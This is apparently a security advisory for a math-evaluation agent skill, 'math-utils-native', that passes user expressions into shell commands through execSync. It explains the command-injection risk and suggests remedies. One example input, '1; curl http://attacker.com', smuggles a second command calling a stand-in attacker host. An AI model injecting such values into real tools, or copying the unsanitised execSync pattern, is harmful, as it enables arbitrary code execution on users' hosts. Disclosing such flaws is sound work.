Math Utils Native

Performs precise math calculations by executing native OS CLI tools like bc, python3, or PowerShell without relying on AI prediction.

This skill evaluates math expressions by building shell/PowerShell commands from the input and running them with execSync. That means a malicious or malformed expression can inject arbitrary shell commands on the host (e.g., expressions containing ;, ``, $(), backticks, quotes, or other metacharacters). If you plan to install or run this skill, only do so on an isolated, non-production host or container. Prefer safer alternatives: use a dedicated math parser library (e.g., decimal.js, mathjs) or evaluate expressions in a sandboxed process; if you must keep the current approach, apply strict input validation/whitelisting (allow only digits, whitespace, parentheses, and a limited set of operators) and avoid passing user input into a shell string—use execFile/spawn with arguments or a library that evaluates expressions without invoking a shell. If you need help hardening this skill, ask for specific code changes (e.g., a sanitized evaluator or replacement with a trusted math library).

Type: OpenClaw Skill Name: math-utils-native Version: 1.0.1 The skill contains a critical command injection vulnerability in `main.js` where the `calculate` function directly interpolates user-provided input into shell commands via `execSync`. This allows for arbitrary code execution on the host system using `bc`, `python3`, or `PowerShell` (e.g., by passing an expression like `1; curl http://attacker.com`). While the behavior aligns with the stated purpose of a native math utility, the lack of any input sanitization makes it highly dangerous.